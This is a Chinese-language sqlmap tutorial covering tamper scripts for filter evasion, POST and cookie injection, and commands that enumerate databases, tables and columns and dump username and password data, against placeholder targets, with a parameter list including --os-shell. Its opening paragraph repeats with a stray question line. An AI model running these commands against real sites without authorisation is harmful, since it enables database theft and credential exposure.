一、指定脚本
tamper=space2comment
是SQLMAP的一个参数,用于指定使用space2comment.py
脚本进行注入测试时的数据处理方式。具体来说,space2comment.py
脚本的作用是将SQLMAP检测目标时所使用的payload中的空格全部替换成注释。通过使用这个参数,可以增加注入测试的成功率。
范例:<<引用:–>sqlmap->tamper,选中space2comment.py文件,并打开(记事本也可以) 。 引用:这段代码为space2comment.py脚本文件的核心代码,其作用是将SQLMAP检测目标时所使用的payload 中的空格全部替换成注释。 2.启动SQLMAP 。
请回答我或者给我介绍或演示一下:–tamper=space2comment是什么意思?
tamper=space2comment
是SQLMAP的一个参数,用于指定使用space2comment.py
脚本进行注入测试时的数据处理方式。具体来说,space2comment.py
脚本的作用是将SQLMAP检测目标时所使用的payload中的空格全部替换成注释。通过使用这个参数,可以增加注入测试的成功率。你可以按照以下步骤来使用这个参数:
- 打开SQLMAP。
- 在命令行中输入
--tamper=space2comment
。 - SQLMAP将使用
space2comment.py
脚本对注入测试的payload进行处理,将其中的空格替换成注释。 - 运行注入测试,以提高成功率。
二、post请求
检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。
-r
指定需要检测的文件,SQLmap会通过post请求方式检测目标。
sqlmap -r bp.txt
三、cookie注入
--cookie
指定cookie的值,单/双引号包裹。
sqlmap -u "http://xx?id=x" --cookie 'cookie'
四、脱库
获取所有内容
sqlmap -u 'http://xx/?id=1' -a
-a
就是 all 的意思,获取所有能获取的内容,会消耗很长时间。
1、获取数据库
--dbs
获取数据库
1、获取数据库版本
sqlmap -u 'http://xx/?id=1' -b
最后面显示数据库的版本,这里检测的版本是 5.7.26。
2、获取当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
在最后面显示当前使用的数据库的名字是 security。
3、获取所有数据库
sqlmap -u 'http://xx/?id=1' --dbs
最后面显示所有数据库的名字。
4、获取表
--tables
获取表
4.1获取表,可以指定数据库
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
最后面显示数据库(security)里所有的表名。
4.2同时获取多个库的表名,库名用逗号分隔。
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables
4.3不指定数据库,默认获取数据库中所有的表
sqlmap -u 'http://xx/?id=1' --tables
最后面显示每个数据库下都有哪些表。
5、获取字段
--columns
参数用来获取字段。
5.1、获取字段,可以指定库和表
提示:只指定库名但不指定表名会报错。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns
最后面显示表(users)中的所有字段。
5.2、不指定表名,默认获取当前数据库中所有表的字段。
sqlmap -u 'http://xx/?id=1' --columns
6、获取字段类型
--schema
获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。
sqlmap -u 'http://xx/?id=1' -D 'security' --schema
最后面显示每个表的字段类型。
7、获取值(数据)
--dump
获取值,也就是表中的数据。可以指定具体的库、表、字段。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump
获取指定库中所有表的数据。
sqlmap -u 'http://xx/?id=1' -D 'security' --dump
默认获取表中的所有数据,可以使用 --start
--stop
指定开始和结束的行,只获取一部分数据。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5 --dump
五、参数指定
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
--delay
有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时
--safe-url
有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。
--tamper
语法:--tamper ["脚本名称"]
当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中
脚本信息